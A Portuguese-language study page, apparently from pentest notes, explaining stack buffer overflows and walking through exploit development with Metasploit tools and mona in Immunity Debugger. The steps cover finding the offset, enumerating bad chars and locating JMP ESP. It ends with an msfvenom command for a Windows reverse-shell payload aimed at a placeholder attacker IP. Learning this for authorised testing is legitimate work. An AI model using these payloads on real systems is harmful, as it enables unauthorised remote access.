Buffer Overflow
Ataque do tipo Buffer Overflow acontece quando um programa reserva blocos de espaço pré-definidos e limitado de memória (buffer) para armazenar dados e esse espaço reservado recebe mais dados do que é capaz de comportar. Isso ultrapassa os limites do buffer e sobrescreve a memória adjacente.
Linguagens modernas como Python, PHP, Ruby, Java e C# não são vulneráveis a esse tipo de ataque, pois utilizam Memory Safe
, ou seja, não permitem que variáveis acessem regiões de memória não alocados ou alocadas por ponteiros/variávies diferentes.
Linguagens não seguras como C
e C++
possuem contramedidas como ASLR
(Address Space-Layout Randomization), Stack Canaries
e CFI
(Control Flow Integrity)
Anatomia na Memória RAM
Abaixo segue o básico da sua divisão, indo do low address
para o high address
:
PARTE DA MEMÓRIA
DESCRIÇÃO
text segment
Região read-only que armazena textos como códigos e comandos utilizados por outros programas. O texto correspondente ao nosso código fonte, por exemplo, fica armazenado aqui
data (initialized / unitialized)
Aqui ficam as variáveis inicializadas e não inicializadas do software
heap
Região destinada ao armazenamento dinâmico de grandes informações, gerenciada pelas funções malloc
, realloc
e free
. O que estará armazenado aqui depende da estrutura do programa sendo executado
stack
Região onde ficam armazenadas (com tamanho dinâmico) as variáveis e funções locais do nosso programas. Esta é uma pilha que funciona no esquema LIFO
(Last In First Out), contendo endereços de funções que devem ser invocadas e parâmetros/variáveis a serem utilizadas
Os primeiros endereços de memória (números em hexadecimal) ficam em baixo (0x00000000) e os últimos endereços ficam no topo (fxffffffff). Conforme o stack vai utilizando mais memória, são utilizados os endereços de baixo, ou seja, o stack cresce na direção do heap (de cima pra baixo), enquanto o heap cresce na direção do stack (de baixo pra cima).
Buffer Overflows geralmente acontecem no stack, mas apesar de ser pouco comum, é possível que overflows também ocorram em outras regiões de memória como o heap.
Quando o programa é executado, uma instrução assembly jump
é invocada apontando para o endereço de retorno desta função return
, é assim que a função main
sabe o que deve ser executado após executar nossa função func
, ela executará o que estiver em return
.
Heap
Armazena a memória alocada dinamicamente e começa com um endereço de memória baixa e vai utilizando endereços maiores a cada nova inserção.
Stack (Pilha)
A Stack trabalha com a estrutura LIFO
(Last In First Out), ou seja, o último a entra na pilha, irá entrar no topo, e este será o primeiro a sair. A Stack começa com o endereço de memória mais alta e a cada nova inserção, vai inserindo em um endereço menor, fazendo o inverso da Heap. O rsp
indica o endereço do topo da pilha e rbp
é a base da Stack.
Segue abaixo alguns exemplos de inserção e remoção no topo da Pilha.
push rbp
pop rbp
sub rsp,0x10
add rsp,0x10
lea eax, DWORD PTR[rbp - 0xa]
msfvenom
Gerando execve
.
msfvenom -p linux/x86/exec CMD=/bin/sh AppendExit=true -e x86/alpha_mixed -f python
Procurando offset
pattern_create + pattern_offset
Aqui iremos utilizar duas ferramentas que fazem parte do Metasploit, o pattern_create.rb
para gerar o payload que será enviado e o pattern_offset.rb
que retorna o offset a partir do resultado obtido com o payload enviado).
locate pattern_create.rb
<path/to/pattern_create.rb> -l <length_crash>
Com a saída do comando acima, jogue a string no executável e certique-se o mesmo irá "crashar". Caso seja negativo, aumente o valor de <lenght_crash>
. Ao travar o software, verifique o valor de EIP (através do Immnuity Debugger) e execute o comando abaixo para saber o offset correto.
locate pattern_offset.rb
<path/to/pattern_offset.rb> -l <length_crash> -q <result_string_crash>
pattern_create + mona
Semelhante a forma anterior, iremos utilizar o pattern_create
para gerar nossa string, mas após utilizamos para "crashar" a aplicação, não iremos utilizar o pattern_offset
, mas sim o mona
. Após enviar o payload para o sistema, vá até o Immunity Debugger
e então execute:
!mona findmsp -distance <length_crash>
Após isso, procure pelo primeiro resultado de offset, logo abaixo a linha [+] Examing registers
.
Bad Chars
Alguns caracteres são considerados como bad chars, pois a aplicação não os reconhece, então não podem ser utilizados em nosso shellcode. Geralmente, os badchars são \x00
, \x0a
e \x0d
, mas isso não é uma regra geral, pois vai de aplicação para aplicação.
Abaixo, segue todos os caracteres em hex. Já removemos o char \x00
, que provavelmente irá causar erros:
\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff
Caso queira gerar, execute um dos códigos abaixo, ambos desenvolvidos em Python:
from __future__ import print_function
listRem = "".split("\\x")
for x in range(1, 256):
if "{:02x}".format(x) not in listRem:
print("\\x" + "{:02x}".format(x), end='')
print()
import sys
for x in range(1,256):
sys.stdout.write ("\\x" + '{:02x}'.format(x))
mona
Antes de utilizarmos o mona, vamos definir qual o seu diretório de trabalho. Para isso, iremos criar o diretório c:\mona
e depois executar o seguinte comando no Immunity Debugger:
!mona config -set workingfolder c:\mona\%p
Agora vamos gerar um arquivo com badchars semelhante ao que vimos acima, porém usando o mona no Immnunity Debbuger ao invés do python, e já excluindo o \x00
, que provavelmente irá provocar algum erro.
!mona bytearray -b "\x00"
Note na saída do comando que será gerado um arquivo chamado bytearray
, que iremos utilizar para comparar o nosso ESP, através do comando:
!mona compare -f <C:\path\mona\bytearray.txt> -a <esp_address>
Irá ser aberta então, uma janela com os bad chars localizados.
Remova agora os bad chars localizados execute novamente o processo pelo mona
até que o resultado seja Unmodified
.
Trabalhando com Opcode
Primeiro vamos ver os Módulos que não tem proteção ASLR
com o Immunity Debugger
, utilizando o mona
.
!mona modules
Após localizar qual (ou quais) dll's não possuem possuem proteções ASLR, vamos utilizar o nasm_shell
para localizar um JMP ESP
.
# Procurando pelo executável
locate nasm_shell
# Executando o script (o caminho pode alterar de acordo com o resultado do comando acima)
/usr/bin/msf-nasm_shell
# Digite ao abrir um novo PS1 interativo
jmp esp
Supondo que o resultado seja 00000000 FFE4 jmp esp
, então vamos pegar o FFE4
e procurá-lo no mona
.
!mona find -s "\xff\xe4" -m <file.dll>
Por boas práticas, é sempre bom colocar um endpoint no local encontrado, para confirmar se o EIP realmente está redirecionando corretamente para ESP.
Procurando o JMP ESP
Como sabemos, não é possível pegarmos o valor exato de ESP (já que este é dinâmico), então precisamos localizar algum JMP para o ESP (que tem um valor estático), e então chamá-lo. Note que passamos o parâmetro -cpb
para informamos os badchars e evitarmos problemas. Esse programa que estamos utilizando é o mona
, que é uma extensão do Immunity Debugger
.
Reinicie a execução do binário antes de executar o comando abaixo.
!mona jmp -r esp -cpb "\x00\x0a"
O valor encontrado aqui, ficará no lugar do BBBB
, que geralmente é utilizado para testar se podemos sobrescrever EIP. Supomos que encontramos o valor 0x625011af
, então o valor irá ficar assim (note a inversão da ordem): \xaf\x11\x50\x62
Gerando Shellcode com msfvenom
Note que abaixo estamos definindo somente \x00
como Bad Char, porém pode ter mais. E também estamos definindo no parâmetro -f
que é para funcionar em aplicação desenvolvidas em C
. Também estamos utilizando o parâmetro exitfunc=thread
, que serve para não "crashar" o serviço ao sair dele, pois por padrão o msfvenom mata o processo ao finalizar.
msfvenom -p windows/shell_reverse_tcp lhost=<ip_atacante> lport=<port> exitfunc=thread -b "\x00" -f c
Sites
https://github.com/Tib3rius/Pentest-Cheatsheets/blob/master/exploits/buffer-overflows.rst
http://andreybleme.com/2019-07-06/etendendo-explorando-buffer-overflow/
https://www.gestortecnico.net/2018/10/o-que-e-ataque-de-buffer-overflow.html
https://cic.unb.br/~rezende/trabs/buffer_overflow.htm
Last updated
Was this helpful?